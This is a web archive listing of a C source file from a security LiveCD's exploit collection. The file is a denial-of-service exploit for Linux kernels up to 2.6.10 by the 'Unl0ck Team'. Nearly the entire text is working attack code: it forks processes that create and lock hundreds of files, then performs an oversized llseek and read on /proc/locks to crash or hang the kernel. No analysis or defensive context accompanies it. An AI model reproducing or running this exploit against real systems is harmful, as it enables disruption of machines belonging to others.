home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / remote / un-lkernel.2.6.10.c < prev    next >
C/C++ Source or Header  |  2005-03-30  |  2KB  |  85 lines

  1. /*
  2.  * linux kernel <=2.6.10(2.6.x) DOS exploit
  3.  * writen by ChoiX
  4.  * (c) uKt Research
  5.  * [www.unl0ck.org][info@unl0ck.org]
  6.  */
  7.  
  8. #include <stdio.h>
  9. #include <stdlib.h>
  10. #include <sys/types.h>
  11. #include <sys/stat.h>
  12. #include <fcntl.h>
  13. #include <unistd.h>
  14. #include <linux/unistd.h>
  15. #include <string.h>
  16. #include <sys/mman.h>
  17. #include <sys/file.h>
  18. #include <syscall.h>
  19. #include <errno.h>
  20.  
  21. #define SIZE 0x80004242
  22.  
  23. _syscall5(int, _llseek, uint, fd, ulong, hi, ulong, lo, loff_t *, res, uint, wh);
  24.  
  25. void createfile(){
  26. int nm1, filev;
  27. char vname[424];
  28.  
  29. for(nm1=0;nm1<920;nm1++){
  30.     snprintf(vname, sizeof(vname), "UNLOCKRESEARCHTEAM%d.%d", getpid(), nm1);
  31.     filev = open(vname, O_CREAT|O_RDWR, S_IRWXU);
  32.     if(filev < 0){
  33.         printf("ERROR\n");
  34.         perror("open()");
  35.     }
  36.     if(flock(filev,LOCK_EX) == -1){
  37.         printf("ERROR\n");
  38.         perror("flock()");
  39.     }
  40. }
  41. while(42);
  42. }
  43.  
  44. int main(int argc, char *argv[]){
  45. int count, fd, i, fv;
  46. void *mv;
  47. char *buf1, *buf2;
  48. loff_t lr;
  49. int nm1;
  50.  
  51. printf("\t\tkernel-2.6.10 DoS by ChoiX [Unl0ck Team]\n");
  52. printf("[--]create files(it can take a few minutes)...");
  53. nm1 = 5;
  54. while(count--){
  55.     if(!fork()){
  56.         createfile();
  57.     }
  58. }
  59. sleep(100);
  60.  
  61. printf("OK\n");
  62.  
  63. printf("[--]start exploiting...");
  64.  
  65. system("sync");
  66. fd=open("/proc/locks", O_RDONLY);
  67. if(fd < 0){
  68.     printf("ERROR\n");
  69.     perror("open()");
  70. }
  71. buf1 = malloc(1024*1024*8);
  72. buf2 = malloc(1024*1024*8);
  73.  
  74. if(_llseek(fd,42,SIZE,&lr,SEEK_SET) == -1){
  75.     printf("ERROR\n");
  76.     printf("llseek()");
  77. }
  78. i=read(fd,buf2, SIZE);
  79. perror("read");
  80. printf("read=%d mv=%x fv=%x\n %.300s",i,(int)mv,fv,buf2);
  81. while(42);
  82. return 42;
  83. }
  84.  
  85.